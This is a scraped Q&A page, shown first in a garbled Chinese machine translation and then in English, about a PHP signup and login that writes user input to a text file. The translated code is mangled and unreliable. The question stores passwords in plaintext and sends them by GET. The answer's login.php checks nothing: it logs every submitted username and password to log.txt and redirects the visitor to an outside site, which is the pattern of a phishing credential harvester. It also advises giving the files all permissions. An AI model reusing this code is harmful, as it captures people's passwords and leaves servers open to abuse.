创建一个登录，并使用php将用户输入存储在文本文件中 [英] Create a login and that stores the users imput in a text file using php
问题描述
我想为我的简单登录网站创建一个创建帐户页面，用户点击一个创建帐户按钮，然后将它们带到具有以下表单的页面，以输入登录名和密码。
< form action =createaccount.phpmethod =get>
< h1>请输入您的信息以创建新的登录帐户< / h1>
< p>
< label>登入名称：< / label>< input type =textname =name/>
< label>密码：< / label>< input type =passwordname =pwd/>
< br />< br />
< / p>
< input type =submitid =submitvalue =submit/>
< input type =resetid =resetvalue =reset/>
< / form>
在用户输入数据到输入框后，我想运行一个php脚本来存储这些数据到一个名为accounts.php的文本文件中（我知道这并不安全，但是这些数据对我来说没有任何价值，因为我将它作为学习过程的一部分）
到目前为止，我有以下php代码将数据存储在文件createaccount.php中。
<？php
$ username = $ _GET ['name'];
$ password = $ _GET ['pwd'];
$ filename ='accounts.txt';
$ fp = fopen（$ filename，'a +'）;
fwrite（$ fp，$ username。，。$ password。\\\
）;
$ fclose（$ fp）;
echo（account created）;
header（Location：login.html）;
die（）;
？>
我认为这段代码应该从登录名和密码中获取输入，并按照以下格式将它们存储在名为accounts.txt的文件中。
username1：password1
username2：password2
等
然后回显创建的屏幕帐户，然后将用户带到我的login.html页面，以便他们可以使用新帐户信息登录。
我试着运行代码，它根本不会将我的数据保存到文件中，当我提交表单时，它不会将我指回到我的登录屏幕，我只是收到一条消息，表示无法显示页面。如何创建简单的登录表单。
< form action =login.phpmethod =post>
< input type = textid =usernamename =username/>
< input type =passwo rdid =passwordname =password/>
< input type =submitname =Loginvalue =Login>
< / form>
php（login.php）
< HTML> < HEAD> <标题>登录< /标题> < /头> （$ _POST ['Login']）{$ myFile =log.txt; $ fh = fopen（$ myFile，'a'）或者死（无法打开文件）; $ stringData = $ _POST ['username']。 ：; fwrite（$ fh，$ stringData）; $ stringData = $ _POST ['password']。 \\\
; fwrite（$ fh，$ stringData）; fclose（$ fh）;}？> //在< script> location.href ='https：//YOURWEBSITE.com'后面的这里<脚本> < / body>< / html>
，任何其他问题都会将我添加到Skype中。
Skype：YouRGenetics
网站：ItzGenetics.com
$ b 〜注
如果您使用托管公司（GoDaddy，等）使用权限确保您给予php文件和txt文件的所有权限。
I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.
<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>
After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).
So far I have the following php code to store the data in the file createaccount.php
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.
But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.
How to create a simple Login form.
html (login.html)
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
php (login.php)
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
Hopefully that helps, any other questions add me on skype. Skype: YouRGenetics Website: ItzGenetics.com
~NOTE If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.
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